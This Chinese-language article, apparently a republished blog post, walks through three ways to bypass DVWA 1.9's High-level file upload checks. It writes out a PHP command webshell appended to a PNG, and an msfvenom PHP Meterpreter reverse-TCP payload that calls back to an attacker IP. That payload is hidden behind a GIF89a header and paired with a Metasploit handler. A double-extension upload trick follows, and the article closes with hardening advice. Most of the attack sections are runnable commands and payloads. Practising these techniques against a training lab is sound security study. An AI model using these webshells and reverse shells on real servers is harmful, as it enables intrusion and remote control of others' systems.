当前位置: 首页 > news >正文

DVWA1.9 High级文件上传漏洞实战:3种绕过技巧与详细复现步骤

DVWA1.9 High级文件上传漏洞实战:3种绕过技巧与详细复现步骤

在网络安全领域,文件上传漏洞一直是渗透测试中的重点研究对象。DVWA(Damn Vulnerable Web Application)作为一款专为安全测试设计的靶场环境,其High级别的文件上传漏洞防护机制尤为值得深入探讨。本文将分享三种针对DVWA1.9 High级别文件上传漏洞的实战绕过技巧,每种方法都配有详细的复现步骤和原理分析。

1. 理解High级文件上传防护机制

DVWA1.9 High级别的文件上传模块采用了双重验证机制:

  1. 后缀名验证:仅接受.jpg.jpeg.png三种图片格式
  2. 文件头检测:通过getimagesize()函数验证文件内容是否为有效图片

这种组合防护看似严密,但仍存在可被利用的漏洞点。以下是常见的验证逻辑缺陷:

// 模拟High级验证逻辑 $allowed_extensions = ['jpg', 'jpeg', 'png']; $file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if(!in_array($file_extension, $allowed_extensions)) { die("只允许上传JPG/PNG图片"); } $image_info = getimagesize($_FILES['file']['tmp_name']); if($image_info === false) { die("上传的不是有效图片"); }

2. 图片木马合并绕过技术

2.1 原理分析

这种方法利用图片文件可以包含额外数据而不影响正常显示的特性,将PHP木马代码附加到合法图片文件末尾。

技术要点

  • 图片文件格式允许尾部附加数据
  • 服务器仅验证文件头,不检查文件尾部内容
  • 需要配合其他漏洞实现代码执行

2.2 详细操作步骤

  1. 准备素材文件

    • 合法图片文件:example.png
    • PHP木马文件:shell.php(内容:<?php system($_GET['cmd']);?>
  2. 合并文件(Windows系统):

copy /b example.png + shell.php merged.png
  1. 上传合并后的文件

    • 通过DVWA文件上传页面提交merged.png
    • 系统会成功接受该文件
  2. 利用文件包含漏洞执行代码: 由于直接访问.png文件不会执行PHP代码,需要配合DVWA的Low级文件包含漏洞:

    http://靶场地址/vulnerabilities/fi/?page=../../hackable/uploads/merged.png&cmd=whoami

注意:此方法需要服务器同时存在文件包含漏洞才能最终实现代码执行

3. 带GIF89a头部的PHP图片木马

3.1 技术原理

通过构造特殊的文件内容,使文件同时满足:

  • 文件头部包含有效的图片标识(如GIF89a)
  • 文件主体包含可执行的PHP代码

3.2 使用msfvenom生成特制木马

  1. 生成基础PHP反向shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4444 -f raw > shell.php
  1. 添加GIF头部
echo 'GIF89a;' | cat - shell.php > shell.gif
  1. 文件上传

    • shell.gif上传到DVWA
    • 由于文件头部包含GIF标识,会通过getimagesize()验证
  2. 建立监听

msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 攻击者IP set LPORT 4444 exploit
  1. 触发执行: 通过文件包含漏洞访问上传的文件:
    http://靶场地址/vulnerabilities/fi/?page=../../hackable/uploads/shell.gif

3.3 技术细节对比

方法特性图片合并法GIF头部注入法
文件大小较大(原图+木马)较小(仅添加头部)
隐蔽性较高中等
依赖其他漏洞需要文件包含需要文件包含
适用场景已有合法图片需生成新文件

4. 文件扩展名双重欺骗技术

4.1 技术原理

利用解析差异构造特殊文件名,如:

  • shell.php.jpg
  • shell.php%00.jpg
  • shell.php\x00.jpg

在DVWA1.9 High级别中,最有效的方式是结合Apache的解析特性。

4.2 具体实施步骤

  1. 创建测试文件

    <?php // 文件名:test.php.jpg phpinfo(); ?>
  2. 上传文件

    • 通过DVWA上传界面提交test.php.jpg
    • 系统会接受该文件
  3. 利用解析差异: 某些Apache配置会从左向右解析扩展名,执行顺序为:

    .php → .jpg → 最终执行.php逻辑
  4. 直接访问

    http://靶场地址/hackable/uploads/test.php.jpg

提示:这种方法成功率取决于服务器配置,在默认DVWA环境中可能需要配合.htaccess文件使用

5. 防御建议与安全加固

针对本文介绍的绕过技术,提供以下防护方案:

  1. 文件内容验证

    • 使用exif_imagetype()代替getimagesize()
    • 检查文件幻数(Magic Number)
  2. 文件重命名策略

    $new_filename = md5(uniqid()).'.'.$valid_extension;
  3. 隔离存储

    • 将上传文件存放在非Web目录
    • 通过脚本代理访问上传文件
  4. 权限控制

    chmod -R 644 uploads/ chown -R www-data:www-data uploads/
  5. Web服务器配置

    <FilesMatch "\.(php|phar|phtml)$"> Deny from all </FilesMatch>

在实际渗透测试过程中,发现最有效的防御是组合多种验证方式。某次企业级测试中,我们遇到一个系统采用了三重验证机制:文件扩展名白名单、内容类型检查和二次渲染处理,这种深度防御方案成功阻断了所有常规绕过尝试。

http://www.cnnetsun.cn/news/1887797.html

相关文章:

  • 绕过字符限制的艺术:在64位Linux下用32位int 0x80编写混合编码Shellcode(附Pwntools示例)
  • LFM2.5-1.2B-Thinking-GGUF生成产品需求文档(PRD)与技术方案对比
  • 5分钟搞定说话人识别:科哥CAM++系统保姆级使用教程
  • 计算机祖师爷的警告:不要被“自然语言编程”给骗了!
  • GLM-5.1上线, 媲美最强编程大模型!
  • AutoCAD字体管理终极方案:FontCenter免费插件完整教程
  • NifSkope:如何用开源工具解决3D资产格式兼容性难题?
  • MapleStory WZ文件编辑终极方案:Harepacker-resurrected完整攻略
  • macOS Xbox控制器驱动架构:360Controller内核扩展深度解析与生产环境部署指南
  • 爆款的秘密:消费者买的是身份感,不是产品!
  • WPS加载项开发避坑指南:从Vue3项目初始化到本地调试部署的完整流程
  • Local SDXL-Turbo实战教程:用‘cyberpunk style, 4k, realistic’生成高清海报
  • c++ move语义用法 c++如何理解和使用右值引用
  • 轻量又强大:为什么说Llama-3.2-3B是个人电脑上的最佳AI文本助手
  • PaperMind学术阅读平台搭建(一)
  • JD-AssistantV2:三分钟掌握京东秒杀核心技术,从手动抢购到自动化下单的终极进化
  • Java高频面试考点场景题
  • 从时域到频域:傅里叶、拉普拉斯与Z变换的演进逻辑与工程选择
  • PX4飞控系统深度解析:固定翼无人机开发实战指南
  • POSTECH团队突破视频生成瓶颈:用虚拟数据教AI生成现实中的动作
  • AI代码审查工具降本增效:从“集成”到“生效”的决策框架
  • 从课堂到实战:手把手教你用AT89C51和LCD1602做一个能调时间的电子钟(附Proteus仿真)
  • Qwen3-Reranker-8B性能优化:利用GPU加速重排序计算
  • D3KeyHelper完全指南:5分钟掌握暗黑3最强宏工具
  • Cosmos-Reason1-7B精彩案例:自动驾驶视角视频的物理常识动态解析
  • 中国蚁剑的下载、安装与实战应用指南
  • Qwen3-Reranker-0.6B部署教程:vLLM服务健康检查接口(/health)配置与验证
  • 终极QMC音频解锁指南:3分钟实现音乐自由播放
  • FreeRTOS+CH32V103串口开发必看:中断函数声明差异导致的系统卡死问题解析
  • JBoltAI Agent OS:企业智能体不“添乱”